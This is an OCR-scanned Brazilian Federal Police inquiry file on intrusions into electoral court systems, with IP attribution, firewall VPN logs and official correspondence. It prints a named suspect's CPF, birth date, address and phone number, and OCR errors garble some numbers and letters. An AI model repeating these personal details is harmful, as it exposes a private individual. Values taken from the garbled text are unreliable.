186.197.65.147 21/04/2018 12:56:05 21/04/2018 15:04:14 
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RELATÓRIO Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Segundo informado pela empresa à época, o usuário responsável pelos acessos 
também era CARLOS EDUARDO SOARES DA SILVA: 


Pesquisa Tráfego GPRS por IP Chamante: 177.165.110.249 
De 21/04/2018 12:40:00 a 21/04/2018 12:40:59 - GMT-3:00 
Número Pedido: 1145894 2018 


Tim Celular S.A. *** CON F I DE N C I A L *** 








IMSISDN TIP lHorário Início lHorário Final IDuração [Uplink [Downlink [Нога Brasilia | 
[ |Porta Inicio/Fim | | 1 | І [Hora Local Pesquisa | 
І I l І І І I | I 
[5511959826189 1|177.165.110.249 [21-04-2018 10:02:44 |21-04-2018 12:57:26 |10482 1104589364 12039558503 |21-04-2018 10:02:44 


І І а | І І І І 121-04-2018 10:02:44 | 
I I І І І І I I I 





Pesquisa Tráfego GPRS por IP Chamante: 186.197.65.147 
De 21/04/2018 15:02:00 a 21/04/2018 15:02:59 - GMT-3:00 
Número Pedido: 1145897_2018 


Tim Celular S.A. *** CONFIDENCIAL *** 








|MSISDN (ІР |Horário Início |Horário Final |Duração |Uplink |Downlink |Hora Brasilia | 
| [Porta Inicio/Fim | | | | | |Hora Local Pesquisa | 

| 
|5511959826189 |186.197.65.147 |21-04-2018 12:57:28 |21-04-2018 16:28:03 |12635 [699013946 [1156458281 [21-04-2018 12:57:28 | 


Figura 2 - Linha telefónica correspondente aos IP 177.165.110.249 e 186.197.65.147 


[rans 12:57:28 





DADOS CADASTRAIS 


NÜMERO DA LINHA 
OPERADORA 

DATA INÍCIO 

DATA FIM VALIDADE 


55 11 95982-6189 
ТІМ SÃO PAULO 
12-01-2018 


PRÉ-PAGO 


DATA CADASTRO 
NOME 
NACIONALIDADE 
DATA NASCIMENTO 
CPF/CNPJ 

N. DOCUMENTO 
PAÍS EMISSOR 


ENDEREÇO 
BAIRRO 

CIDADE - ESTADO 
TELEF. CONTATO 


END. FATURA 
BAIRRO 
CIDADE - ESTADO 


21-04-2018 12:36:55 
CARLOS EDUARDO SOARES DA SILVA 


31-10-1999 
497.903.898-09 


RUA  PROFA TEREZA LOBO 196-AP 101 
ALVORADA 

CUIABA - MT 

11959826189 


TIPO CLIENTE : CON 
SEXO : M 


TIPO DOCUMENTO 
DATA EMISSÃO : 


REGISTRO GERAL 


CEP : 78.048-670 


CEP 


Figura 3 - Dados cadastrais da linha 11-95982-6189 


Segue abaixo diagrama com as correlagóes encontradas: 





SERVICO PÜBLICO FEDERAL 
MISP - POLÍCIA FEDERAL 


ЕТ. 357 
SR/PF/DF 
2020.0043195 


COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


Event Event y 


IPL 05/2017 DICINT Relatorio 002-2019 TSE 


191.252.56.210 191.252.0.19 191.252.64.20 


| —. се | 


e d e 


Resposta Locaweb - Ofício 630/2017 - DICINT/DIP/PF Locaweb Resposta Locaweb - OFÍCIO N° 4/2020/UTC/SRCC/CGPFA... 


ii 


A 


LUIZ HENRIQUE DETLINGER 


| 
@ 


едпе! рехафргоюптай.сот 


c RN 
ыу o" - 


177.165.110.249 186.197.65.147 


| | 


4 e 


TIM S/A Resposta ТІМ - Ofício 1/2018 - DINPO/CGI/DIP/PF 


| 


CARLOS EDUARDO SOARES DA SILVA 


| 


| 


11959826189 6 





SERVICO PÜBLICO FEDERAL 
MJSP - POLÍCIA FEDERAL ) 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 
3. CONCLUSÃO 


Pelos motivos apresentados neste relatório, acredita-se que os casos referentes ao 
IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão 


relacionados, de modo que devem ser tratados em conjunto. 
Era o que havia a relatar. 


Brasília/DF, 21 de maio de 2020. 


d de 6,20 TA 


FLÁVIO SILVEIRA DA SILVA IVO DE CARVALHO PEIXINHO 


Perito Criminal Federal Perito Criminal Federal 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


DESPACHO N? 1424548/2020 
2020.0043195-SR/PF/DF 


Considerando que ainda restam pendentes diligéncias no presnete inquérito, 
1. Junte-se cópia do Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF; 


2. Verifique-se se consta em cartório resposta ao Ofício nº 0070/2020, reiterado pelo Oficio nº 2179/2020. Em caso positivo, 
Junte-se. Em caso negativo, reitere-se mais uma vez; 


3. Expeçam-se ofícios à 12? Vara Federal da Seção Judiciária do DF (Processo nº 0034686-422017.4.01.3400) e à 7º Vara 
Federal da Subseção Judiciária de São Paulo (Processo nº 0013343-32.2017.4.03.6181), como seguinte teor: 


Exmo(a). Sr(a). Juiz(a), 


O Inquérito Policial nº 1361/20 18-SR/PF/DF (renumerado рага IPL 2020.0043195-SR/PF/DF no sistema Еро!) foi instaurado em 
08/11/2018, a pedido da então Ministra Presidente do TSE, Rosa Weber, para apurar a suposta invasão a sistemas e bancos 
de dados do TSE, comacesso e divulgação de dados sigilosos daquele Tribunal. 


A partir de arquivos enviados pelo TSE, o perito criminal Flávio Silveira, lotado no Serviço de Repressão a Crimes Cibernéticos, 
elaborou a Informação nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF, na qual aponta a possibilidade de vinculação dos eventos 
divulgados em novembro de 2018 (que ensejaram a instauração do presente inquérito) com outros eventos ocorridos em 
abril/20 18 naquele Tribunal e sugere oficiar as empresas para que forneçam os dados cadastrais dos endereços IP utilizados, bem 
como a solicitação do contendo referente a hospedagem da Locaweb (IP 191.252.0.19) utilizada para baixar o artefato malicioso. 


Posteriormente, por conta de outra invasão cibernética, o mesmo perito elaborou o Relatório de Análise de Alta Tecnologia nº 
001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, no qual conclui: "Pelos motivos apresentados neste relatório, acredita-se que os 
casos referentes ao IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão relacionados, de 
modo que devem ser tratados em conjunto". 


Assim, considerando que a autoria dos fatos tratados по IPL 005/20 17-DICINT/DIP (que tramitou perante а 122 Vara Federal da 
Seção Judiciária do DF - Processo nº 0034686-42.2017.4.01.3400 e perante a 7^ Vara Federal da Subseção Judiciária de São 
Paulo - Processo nº 0013343-32.2017.4.03.6181) é coincidente com a autoria dos fatos tratados no presente inquérito (segundo 
apontado no Relatório de Análise de Alta Tecnologia nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF), solicito a vossa 
excelência o compartilhamento de provas produzidas no âmbito daquele inquérito (IPL 005/2017-DICINT/DIP), de modo que 
seja comprovada a vinculação daqueles autores com os fatos tratados na presente investigação, conferindo-se celeridade e 
eficiência ao apurartório. 


Com votos e estrima e consideração, pede o deferimento. 
4. Tendo em vista o término do prazo de permanência dos autos em cartório policial, remetam-se ao MPF/DF para fins de controle 


externo. 


Brasília/DF, 23 de novembro de 2020. 


Documento eletrônico assinado em 23/11/2020, às 15h12, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, 
na forma do artigo 1º, inciso III, da Lei 11419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no 
site https //servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
37d13c2baa4fc4c13acc4be1dd3e04a1aa794644 








POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 
Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia / DF 


Ofício nº 1425061/2020 - GRCC/DRCOR/SR/PF/DF 
Brasília / DF , 23 de novembro de 2020 . 


A Sua Excelência 

Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 

Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 

CEP 70070-600 


Assunto: 2° Reiteração do Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF 
Referência : IPL 2020.0043195-SR/PF/DF (número novo) ou ІРІ, 1361/2018-4 - SR/PF/DF (número antigo) 


Senhor Ministro, 


Visando a instruir os autos do Inquérito Policial nº 2020.0043195-SR/PF/DF (número novo) ou IPL 1361/2018-4 - SR/PF/DF 
(número antigo), solicito a Vossa Excelência informar as portas lógicas das seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 


Documento eletrônico assinado em 23/11/2020, às 15h32, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, 
na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no 
site https //servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
d0709030d3feab517f65cdfe4b2868da0d0 1а809 








> 5. 
SA 445 > 


POLÍCIA FEDERAL 


TERMO DE REMESSA 


Faço a remessa dos autos para a APRECIAÇÃO ao judiciário. 





Documento eletrónico assinado em 23/11/2020, às 15h57, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia 
Federal, na forma do artigo 19, inciso Ш, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https //servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
5d26917ee7b03c46bb004a2502d26b8c538259da 


Justiça Federal da 1º Região 
Varas e Juizados (1º grau) 
Comprovante de protocolo 





Processo 

Número do processo: 1065955-77.2020.4.01.3400 

Órgão julgador: 10º Vara Federal Criminal da SJDF 

Jurisdição: Seção Judiciária do Distrito Federal 

Classe: INQUÉRITO POLICIAL (279) 

Assunto principal: Invasão de Dispositivo Informático 

Valor da causa: R$ 0,00 

Segredo de justiça: Sim 

Partes: Polícia Federal no Distrito Federal (PROCESSOS CRIMINAIS) 
INDETERMINADO 

Audiência 

Documentos protocolados Tipo 

Petição inicial Petição inicial 


2020.0043195-Autos Principais-até fls. 361- Inquérito policial 
2020.11.23.pdf 


Assuntos 


DIREITO PENAL (287) / Crimes contra a inviolabilidade de segredo (3412) / Invasáo de 
Dispositivo Informático (11978 


TESTEMUNHA TESTEMUNHA 
Polícia Federal no Distrito Federal (PROCESSOS 
CRIMINAIS) INDETERMINADO 


Distribuído em: 23/11/2020 15:00 
Protocolado por: LEONARDO BRUCE MADUREIRA LOPES 


Tamanho (KB) 
6,02 
9813,24 


Lei 


cp 
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POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


DESPACHO N? 1687089/2021 
2020.0043195-SR/PF/DF 


1. Junte-se a resposta do TSE, a manifestação do MPF/DF e a decisão judicial; 


2. Expeça-se ofício à TIM requisitando os dados cadastrais dos usuarios dos IP: 
189.40.75.154, em 18/04/2018, as 18:56:14 
191.51.34.72, em 18/04/2018, as 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, as 20:56:20 
189.40.72247, 18/04/2018, as 2221:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, as 222937 
189.40.90 239, em 19/04/2018, as 01:13:32 
189.40.90.253, em 19/04/2018, as 04:08:37 


Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, confiorme item 1 
supra; 


3. Tendo em vista o término do prazo de permanéncia dos autos em cartório policial, remetam-se ao MPF/DF para fins de 
controle externo. 


Brasília/DF, 19 de abril de 2021. 


Documento eletrónico assinado em 19/04/2021, às 14h53, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia 
Federal, na forma do artigo 19, inciso Ш, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser 
conferida no site https ;//servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador: 
b52ce6a8353c2753eclefd4d15b04958cc0 1c9ba 





27/11/2020 


Webmail PF - (1373) INBOX 


rl. 364 
SR/PF/DF 


Enc: IPL 1361/2018-4 SR/PF/DF&18203; - GRCC&18203; ^^ ^ 


Sexta, Novembro 27, 2020 12:05 -03 
Victor Neves Feitosa Campos 
campos.vnfc(Opf.gov.br 

Para 


me 


Favor juntar ao IPL 


De: TSE/Presidéncia <presidencia(Otse.jus.br> 
Enviado: quinta-feira, 26 de novembro de 2020 19:24 
Para: Victor Neves Feitosa Campos 


Assunto: ІРІ 1361/2018-4 SR/PF/DF&18203; - СКСС&#8203; 


Boa tarde, 


Encaminho em anexo o Ofício GAB-SPR n? 5627/2020. 


Solicito a gentileza de confirmar recebimento. 


Joice Rocha 

Assessora-Chefe de Gabinete 
Secretaria-Geral da Presidéncia 
Telefone (61) 3030-7241 


Oficio. 1506647.html 


50.9 KiB 


Informacao. 1270536.html 


70.8 KiB 


Despacho. 1510077.html 


49.9 KiB 


Informacao, 1510009.html 


https://webmail.pf.gov.br/SOGo/so/grcc.df/Mail/viewst/Mail/0/INBOX/4965 
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SEITSE - 1510077 - Despach 
ми 1. 365 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
DESPACHO 
SECRETARIA DE TECNOLOGIA DA INFORMAÇÃO 


Em atenção ао Despacho  GAB-SPR (SEI 1506619) епсатіпһо 
a Informação COINF/STI n? 249/2020 (SEI 1510009) com os esclarecimentos 
apresentados pela área técnica desta secretaria e transcritos a seguir: 


"[..] os dados listados na Informação COINF/STI n? 245/2020 (1505168) vieram em 
discos rígidos remetidos ao TSE pelo TRE-RN e pelo TRE-BA e tais mídias foram 
entregues no ano de 2019 à equipe sob gestão da Delegada Cassiana Saad. 


Nào foi realizada cópia dos discos rígidos para ambiente do TSE. 


Registramos ainda que, posteriormente à entrega dos discos rígidos citados, Delegados 
da Polícia Federal realizaram apresentação de análise preliminar dos conteúdos 
existentes nas mídias”. 


GIUSEPPE DUTRA JANINO 
SECRETÁRIO(A) DE TECNOLOGIA DA INFORMAÇÃO 
l$] Documento assinado eletronicamente em 26/11/2020, às 18:20, conforme art. 1º, 82º, III, b, 
da Lei 11.419/2006. 








2020.00.000000217-2 Documento n? 1510077 v2 


file://IC:/Users/bruce.Ibml//Downloads/Despacho, 1510077 .html 


27/11/2020 SEI/TSE - 1270536 - Informação 
ғі. 366 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 
Informação SESOP/COINF/STI nº 5/2020 


Senhor Coordenador, 


Solicitamos ao TRE-PB que verificasse nos logs dos firewalls as informações 
solicitadas. Segue abaixo as informações de porta/ip localizadas nos referidos logs. 


189.40.75.154, em 18/04/2018, as 18:56:14 — portas: origem ( 32738), destino (4500 VPN) 


Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=189.40.75.154::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto-tcp sess-vpnc 


Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
18:56:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.75.154:32738 
dst=187.33.236.165:4500 usr-"digitro" 


191 .51 .34.72, em 18/04/2018, as 19:02:05 — portas: origem (63674), destino (4500 VPN) 


Apr 18 19:02:05 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
19:02:05" fw=187.33.236.165 pri=6 c=16 gcat-5 m-237 src-191.51.34.72::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess-vpnc 


Apr 18 19:02:06 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
19:02:05" fw=187.33.236.165 ргі-6 с-16 gcat=7 m=139 src=191.51.34.72:63674 
dst=187.33.236.165:4500 usr="digitro" 


189.40.75.239, em 18/04/2018 20:45:41 — portas: origem (61268), destino (4500 VPN) 


Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
20:45:41" fw=187.33.236.165 ргі-6 c=16 gcat-5 m=237 src-189.40.75.239::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpnc 


Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
20:45:41" fw=187.33.236.165 ргі-6 c=16 gcat=7 m=139 src=189.40.75.239:61268 
dst=187.33.236.165:4500 usr="digitro" 
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177.219.117.183, em 18/04/2018, As 20:56:20 — portas: origem (63674), destino (4500 VPN) 


Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
20:56:20" fw=187.33.236.165 pri=6 с-16 gcat-5 m-237 src=177.219.117.183::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto-tcp sess=vpnc 


Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
20:56:20" fw=187.33.236.165 pri=6 с-16 gcat=7 m=139 src=177.219.117.183:63674 
dst=187.33.236.165:4500 usr="digitro" 


189.40.72.247, 18/04/2018, as 22:21:17 — portas: origem (5687), destino (4500 VPN) 


Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
22:21:17" fw=187.33.236.165 pri=6 c=16 gcat-5 m-237 src-189.40.72.247::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpnc 


Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-1 8 
22:21:17" fw=187.33.236.165 ргі-6 c=16 gcat=7 m=139 src=189.40.72.247:5687 
dst=187.33.236.165:4500 usr="digitro” 


189.40.72.14, em 18/04/2018 22:23:14 — portas: origem (47290), destino (4500 VPN) 


Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-18 
22:23:14" fw=187.33.236.165 pri=6 с-16 gcat-5 m=237 src=189.40.72.14::X1 
dst=187.33.236.165:0:X 1 usr-"digitro" proto=tcp sess=vpnc 


Apr 18 22:23:14 rpbfrot03.tre-pb.gov.br id=firewall sn=COE A E485B974 time="2018-04-18 
22:23:14" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=189.40.72.14:47290 
dst=187.33.236.165:4500 usr="digitro" 


189.40.91.135 em 18/04/2018, as 22:29:37 — portas: origem (57362), destino (4500 VPN) 


Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall зп-СОЕАЕ485В974 time="2018-04-18 
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat-5 т=237 src=189.40.91.135::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpne 


Apr 18 22:29:37 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
22:29:37" fw=187.33.236.165 pri=6 c=16 gcat-7 m=139 src=189.40.91.135:57362 
dst=187.33.236.165:4500 usr-"digitro" 


189.40.90.239, em 19/04/2018, as 01:13:32 — portas: origem (64359), destino (4500 VPN) 


Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-19 
01:13:32" fw=187.33.236.165 ргі-6 с-16 gcat-5 m=237 src=189.40.90.239::X 1 
dst-187.33.236.165:0:X 1 usr="digitro" proto-tcp sess=vpnc 
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Apr 19 01:13:32 rpbfrot03.tre-pb.gov.br id=firewall зп-СОЕА Е485В974 time-"2018-04-19 
01:13:32" fw=187.33.236.165 ргі-6 c=16 gcat=7 m=139 src=189.40.90.239:64359 
dst=187.33.236.165:4500 usr="digitro" 


189.40.90.253, em 19/04/2018, as 04:08:37 — portas: origem (16803), destino (4500 VPN) 


Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=C0EAE485B974 time="2018-04-19 
04:08:37" fw=187.33.236.165 pri=6 с-16 gcat=5 m=237 src=189.40.90.253::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpnc 


Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-19 
04:08:37" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-189.40.90.253:16803 
dst=187.33.236.165:4500 usr="digitro" 


201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42 — portas: origem 
(6802,6897), destino (4500 VPN) 


Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018- 
0 
4-18 03:15:28" fw=187.33.236.165 pri=6 
с-16 gcat-5 m=237 src=201.81.167.53::X1 
d 
st=187.33.236.165:0:X1 usr="digitro" proto=tcp 
sess=vpne 


Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018- 
0 
4-18 03:15:28" 
fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 
src-201.81.167.53:6802 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
03:01:40" fw=187.33.236.165 pri=6 с-16 gcat-5 m=237 src-201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto-tcp sess-vpnc 


Apr 21 03:01:40 rpbfrot03.tre-pb.gov.br id=firewall sn- COEAE485B974 time="2018-04-21 
03:01:40" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.81.167.53:6792 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess-vpnc 


Apr 21 05:17:04 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
05:17:04" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 
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Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time-"2018-04-21 
06:16:56" fw=187.33.236.165 pri=6 с-16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:16:56 rpbfrot03.tre-pb.gov.br id=firewall зп-СОЕАЕ485В974 time="2018-04-21 
06:16:56" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src=201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:18:22 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:18:22" fw=187.33.236.165 pri=6 с-16 gcat=5 m=263 src=201.81.167.53::X1 
dst-187.33.236.165:0:X1 usr-"digitro" proto=tcp sess-vpnc dur=15 msg="User logged out - 
digitro" 


Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro” proto=tcp sess-vpnc 


Apr 21 06:18:30 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:18:30" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:32:36" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto-tcp sess-vpnc 


Apr 21 06:32:36 rpbfrot03.tre-pb.gov.br id=firewall зп-СОЕАЕ485В974 time="2018-04-21 
06:32:36" fw=187.33.236.165 ргі-6 с-16 gcat=7 m=139 src-201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:32:42 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:32:42" fw=187.33.236.165 ргі-6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess-vpnc msg="User logged out - digitro" 


Apr 21 06:49:01 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:49:01" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc 


Apr 21 06:49:24 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:49:24" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpnc 


Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat-5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc dur=15 msg="User logged out - 
digitro" 


Apr 21 06:49:42 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:49:42" fw=187.33.236.165 pri=6 c=16 gcat=5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpne dur=45 msg="User logged out - 
digitro" 


Apr 21 06:50:15 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:50:15" fw=187.33.236.165 pri=6 c=16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess-vpnc 
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Apr 21 06:50:51 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-21 
06:50:51" fw=187.33.236.165 pri=6 с-16 gcat=5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess-vpnc 


Apr 21 06:50:52 rpbfrot03.tre-pb.gov.br id=firewall зп-СОЕА Е485В974 time="2018-04-21 
06:50:52" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall sn=C0EAE485B974 time="2018-04-21 
06:51:51" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess-vpnc 


Apr 21 06:51:51 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-21 
06:51:51" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.81.167.53:6897 
dst=187.33.236.165:4500 usr="digitro" 


Apr 21 08:36:42 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time-"2018-04-21 
08:36:42" fw=187.33.236.165 pri=6 с-16 gcat-5 m=263 src=201.81.167.53::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto-tcp sess=vpnc msg="User logged out — digitro" 


201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59 — portas: origem 
(33283,33370), destino (4500 VPN) 


Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
05:24:54" fw=187.33.236.165 ргі=6 c=16 gcat-5 m=237 src-201.6.129.235::X1 
dst=187.33.236.165:0:X1 usr-"digitro" proto=tcp sess=vpnc 


Apr 18 05:24:54 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
05:24:54" fw=187.33.236.165 ргі=6 с-16 gcat=7 m=139 src-201.6.129.235:33283 
dst=187.33.236.165:4500 usr="digitro" 


Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn=C0EAE485B974 time="2018-04-18 
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat-5 m=237 src=201.6.129.235::X1 
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess-vpnc 


Apr 18 05:48:59 rpbfrot03.tre-pb.gov.br id=firewall sn-COEAE485B974 time="2018-04-18 
05:48:59" fw=187.33.236.165 pri=6 c=16 gcat=7 m=139 src-201.6.129.235:33370 
dst=187.33.236.165:4500 usr="digitro" 


É a informação. 


MARCELO CARNEIRO RODRIGUES 


CHEFE DE SEÇÃO 
